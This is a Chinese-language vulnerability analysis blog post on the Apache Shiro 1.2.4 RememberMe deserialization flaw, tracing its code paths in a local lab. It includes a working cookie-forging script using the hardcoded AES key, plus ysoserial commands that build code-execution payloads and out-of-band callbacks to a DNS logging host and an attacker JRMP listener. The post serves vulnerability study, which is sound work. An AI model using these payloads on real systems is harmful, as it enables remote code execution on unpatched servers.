0%

Shiro 1.2.4 反序列化漏洞

Shiro作为Java的一个安全框架,其中提供了登录时的RememberMe功能,让用户在浏览器关闭重新打开后依然能恢复之前的会话。而实现原理就是将储存用户身份的对象序列化并通过AES加密、base64编码储存在cookie中,只要能伪造cookie就能让服务器反序列化任意对象,而1.2.4版本及以下AES加密时采用的key是硬编码在代码中的,这就为伪造cookie提供了机会。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

Shiro

Apache Shiro 是 Java 的一个安全框架,可以帮助我们完成:认证、授权、加密、会话管理等。类似的还有Spring Security,相较之下Shiro更加简单易用且灵活,不跟任何的框架或者容器绑定,可以独立运行。

Shiro下载

git clone https://github.com/apache/shiro.git

然后可以进入其./samples/quickstart目录运行下Demo了解Shiro的使用

mvn compile exec:java(失败的话尝试先配置下代理)

首先看一下配置文件quickstart/src/main/resources/shiro.ini

[users]中创建了几个用户并设置了其密码和角色

[roles]中创建了不同角色及并设置了其权限

image-20200321144658861

然后查看我们运行的Demo代码

/quickstart/src/main/java/Quickstart.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
public class Quickstart {

private static final transient Logger log = LoggerFactory.getLogger(Quickstart.class);


public static void main(String[] args) {

// 载入ini文件,创建Factory
// 实际业务中应该是从数据库中加载账户信息等数据
Factory<SecurityManager> factory = new IniSecurityManagerFactory("classpath:shiro.ini");
SecurityManager securityManager = factory.getInstance();

SecurityUtils.setSecurityManager(securityManager);

// get the currently executing user:
Subject currentUser = SecurityUtils.getSubject();

// Do some stuff with a Session (no need for a web or EJB container!!!)
Session session = currentUser.getSession();
session.setAttribute("someKey", "aValue");
String value = (String) session.getAttribute("someKey");
if (value.equals("aValue")) {
log.info("Retrieved the correct value! [" + value + "]");
}

// let's login the current user so we can check against roles and permissions:
if (!currentUser.isAuthenticated()) {
UsernamePasswordToken token = new UsernamePasswordToken("lonestarr", "vespa");
token.setRememberMe(true);
try {
currentUser.login(token);
} catch (UnknownAccountException uae) {
log.info("There is no user with username of " + token.getPrincipal());
} catch (IncorrectCredentialsException ice) {
log.info("Password for account " + token.getPrincipal() + " was incorrect!");
} catch (LockedAccountException lae) {
log.info("The account for username " + token.getPrincipal() + " is locked. " +
"Please contact your administrator to unlock it.");
}
// ... catch more exceptions here (maybe custom ones specific to your application?
catch (AuthenticationException ae) {
//unexpected condition? error?
}
}

//say who they are:
//print their identifying principal (in this case, a username):
log.info("User [" + currentUser.getPrincipal() + "] logged in successfully.");

//test a role:
if (currentUser.hasRole("schwartz")) {
log.info("May the Schwartz be with you!");
} else {
log.info("Hello, mere mortal.");
}

//test a typed permission (not instance-level)
if (currentUser.isPermitted("lightsaber:wield")) {
log.info("You may use a lightsaber ring. Use it wisely.");
} else {
log.info("Sorry, lightsaber rings are for schwartz masters only.");
}

//a (very powerful) Instance Level permission:
if (currentUser.isPermitted("winnebago:drive:eagle5")) {
log.info("You are permitted to 'drive' the winnebago with license plate (id) 'eagle5'. " +
"Here are the keys - have fun!");
} else {
log.info("Sorry, you aren't allowed to drive the 'eagle5' winnebago!");
}

//all done - log out!
currentUser.logout();

System.exit(0);
}
}

Demo中对session和用户的登录,角色,权限进行了测试,对照运行的输出
image-20200321145837383

动调环境搭建

下载Shiro并切换到漏洞版本

1
2
3
git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4

编辑shiro/samples/web/pom.xml文件

jstl是为了Demo正常运行,否则无法识别jsp标签

commons-collections4是配合shiro反序列化点组成一条完整的利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

然后用idea导入shiro/samples/web项目,等待idea自动下载导入项目依赖的包

image-20200321161842461

然后Run -> Edit Configurations 添加TomcatServer

image-20200321162413295

设置Tomcat路径并添加Artifact

image-20200321162537299

image-20200321162602475

然后就可以调试运行了

image-20200321162720187

漏洞分析

[SHIRO-550] Randomize default remember me cipher - ASF JIRA的描述已经比较清楚了

image-20200321163758120

  • 检索RememberMe cookie 的值
  • Base 64解码
  • 使用AES解密
  • 使用Java序列化(ObjectInputStream)反序列化

在登录时勾选RememberMe

image-20200321170531049

然后cookie中就会储存RememberMe键值对

image-20200321170728781

解密AES需要密钥还有mode(加解密算法)和 IV(初始化向量),而由官网得知RememberMe在CookieRememberMeManager实现

idea中ctrl+n搜索该类名可以快速定位

org.apache.shiro.web.mgt.CookieRememberMeManager

image-20200321172033719

该类继承自AbstractRememberMeManager

org.apache.shiro.mgt.AbstractRememberMeManager

image-20200321174309740

很容易发现默认的Key是硬编码在其中的,这也是该反序列得以利用的关键,如果再确定mode和IV则可以构造RememberMe的值,然后让其反序列化

序列化、加密过程

在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin下断点,然后开始Debug

image-20200321201103424

在登录界面勾选Remember Me并登录

image-20200321201229223

登录成功即会在onSuccessfulLogin断点处停下

image-20200321201833615

85行则对rememberMe的值进行判断,如果登录时勾选了则为true,然后进入

org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity

image-20200321202502782

94行获取身份即 root,然后进入

org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity

image-20200321202614429

103行将用户身份转换为byte[],跟入看一下

org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes

image-20200321202938567

在这个函数里将用户身份进行了序列化和加密,最后返回的是密文byte[]

继续跟入序列化的处理流程的话

org.apache.shiro.io.DefaultSerializer#serialize

image-20200321203344204

采用的是java原生的序列化方法writeObject,而最后序列化的数据也就是代表用户身份的SimplePrincipalCollection类的实例,该类实现的接口的父辈接口继承了Serializable接口

返回去接着看加密过程

org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes

image-20200321204401719

org.apache.shiro.mgt.AbstractRememberMeManager#encrypt

image-20200321204557024

154行得到一个用来加密的CipherService对象,跟入会发现返回的是当前类的private CipherService cipherService = new AesCipherService();并且在AesCipherService父类完成CipherService对象的初始化,此时就确定了AES加密方式及mod

在当前Debug处就可以看到该对象的信息,比如mod,这里采用的是CBC

image-20200321205506865

接着到了156行,cipherService.encrypt方法第一个参数是序列化后的字节数组,第二个参数即是加AES的key

image-20200321205933941

这里的key是在AbstractRememberMeManager类的构造函数里完成初始化,其值就是硬编码的key

image-20200321205846991

跟入cipherService.encrypt

org.apache.shiro.crypto.JcaCipherService#encrypt

image-20200321210454929

在147行跟入的话会发现IV是随机生成的,接着在153行,传入this.encrypt的参数分别是序列化数据,AES的key,AES的IV和一个值为true的布尔值,跟入

org.apache.shiro.crypto.JcaCipherService#encrypt

image-20200321212123639

在162行将16字节的IV放入了output,接着放入密文数据,最后返回Util.bytes(output)

后面一直return到

org.apache.shiro.mgt.AbstractRememberMeManager#encrypt

image-20200321212426443

加密过程结束

然后回到

org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity

image-20200321212650537

这里可知前文中

org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity103行将用户身份转换为byte[]

的byte[]即为随机16字节IV+AES密文

跟进this.rememberSerializedIdentity

org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity

image-20200321213458543

其中将前文的随机16字节IV+AES密文byte[]进行了base64编码,并且最后设置成键为rememberMe的Cookie

可以验证一下确实如此

image-20200321214045866

解密、反序列化过程

在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity打下断点,然后从cookie中删除JSESSIONID只保留rememberMe刷新网页,或者发送只有rememberMe的请求

image-20200321220720903

cookie等信息都在subjectContext对象中,跟入rmm.getRememberedPrincipals

org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals

image-20200321221012855

跟入this.getRememberedSerializedIdentity

org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity

image-20200321221502601

在其中提取了cookie并进行base64解码

回到getRememberedPrincipals并跟入this.convertBytesToPrincipals

image-20200321221616027

org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals

image-20200321221705778

在137行进行AES解密,跟入的话,其实就是提取前16位作为iv,然后前文的默认key来进行解密

140行则进行反序列化

org.apache.shiro.io.DefaultSerializer#deserialize

image-20200321222156614

看到readObject便就结束了

cookie解密及伪造脚本

cookie解密

1
2
3
4
5
6
7
8
9
10
#pip install pycrypto
import sys
import base64
from Crypto.Cipher import AES

key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
IV = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, IV=IV)
print(encryptor.decrypt(base64.b64decode(sys.argv[1])))

image-20200321224754536

可以看到从第二行开始就是SimplePrincipalCollection对象的序列化数据

但脚本中并未使用真正的IV,而是一个错误值,其实在AES CBC解密中IV只会用于对第一个块进行解密,其他块的解密则是使用上一块的加密二进制作为IV进行解密操作,加密的时候,IV会影响所有数据的加密结果,而解密时,IV只会影响第一个加密块的解密结果

而cookie中的第一段是加密时所用的IV,所以在这里解错并无影响,下文构造cookie时也是由自己随意构造IV就可

cookie伪造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
IV = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, IV)

payload=base64.b64decode(sys.argv[1])
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
payload=pad(payload)

print(base64.b64encode(IV + encryptor.encrypt(payload)))

IV随机生成,序列化的payload用base64格式传入

生成payload(sed去除换行符

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 "calc"|base64 |sed ':label;N;s/\n//;b label'

image-20200321235149421

伪造cookie

image-20200321235309952

漏洞利用

DNS gadget验证漏洞

在不知服务器含有哪些组件或者说不知道有哪些可用利用链时,可以ysoserial的URLDNS gadget进行漏洞验证,参数改成dns地址,测试能收到DNS请求。不过Java默认有TTL缓存,DNS解析会进行缓存,所以可能会出现第一次收到DNS的log,后面可能收不到的情况。URLDNS gadget不需要其他类的支持,它的Gadget Chain:

* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()

java -jar ysoserial-master-30099844c6-1.jar URLDNS "http://dx7yuq.dnslog.cn" |base64 |sed ':label;N;s/\n//;b label'

image-20200322000638321

image-20200322000820672

image-20200322000851697

commons-collections4

由于前文搭建环境时已经添加了commons-collections4,所以利用ysoserial的CommonsCollections2即可

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 "calc"|base64 |sed ':label;N;s/\n//;b label'

image-20200321235751863

其他方式

运行mvn dependency:list可以查看所有依赖

image-20200322003851696

其中就有commons-collections3.2.1

直接用ysoserial生成payload攻击会出错,原因是

Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。

What made the ysoserial payloads fail?

I set up a test environment based on Apache Shiro samples and triggered the ysoserial payloads. Investigating the resulting errors reveals that Shiro uses a buggy classloader that is unable to deserialize any arrays. Unfortunately, most ysoserial payloads do contain an array of some sort:

  • ChainedTransformer - the chain of transformers inside this object is an array, thus we cannot use ChainedTransformer at all
  • InvokerTransformer - the list of arguments given to the function is an array and will fail deserialiation. However, if we give no arguments, (de)serialization succeeds.

The remaining payloads in ysoserial depend on classes that were not present in our target system :/ So looks like we cannot give parameters to method calls nor chain method calls to one another. Is all hope of succesful exploitation lost?

解决这种问题的办法是使用JRMP

image-20200322012002559

我本地测试也未成功,参考其他师傅文章

具体原因是打包成war的时候只会把compile和runtime的打包,而test的属于开发阶段需要使用的,从而不会打进去,而这里common-conllectons恰好属于test。所以生成环境中根本没有common-conllectons,因此是不可能打成功的。

第一次攻击commons-collections3.2.1失败的原因应该就是直接出在maven scope上,因为commons-collections3.2.1的scope是test,编译运行时根本不存在

那现在手动加入commons-collections3.2.1,就会覆盖其父配置,让scope不为test

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

继续尝试使用JRMP的方法攻击

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "x.x.x.x:12345"|base64 |sed ':label;N;s/\n//;b label'

image-20200322135132673

image-20200322133230697

服务器开启监听并发送payload

image-20200322133300379

这次确实成功执行命令

image-20200322133333045

那么再尝试直接用CommonsCollections5 gadget

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "calc" |base64 |sed ':label;N;s/\n//;b label'

失败,这次失败的原因才是如上文

参考

权限框架之Shiro详解

分析调试apache shiro反序列化漏洞(CVE-2016-4437)

【漏洞分析】Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞

[SHIRO-550] Randomize default remember me cipher - ASF JIRA

Apache Shiro Java反序列化漏洞分析

关于AES加解密中CBC模式的IV初始化向量的安全性问题

Pwn a CTF Platform with Java JRMP Gadget

Exploiting JVM deserialization vulns despite a broken class loader

强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考

shiro 反序列化复现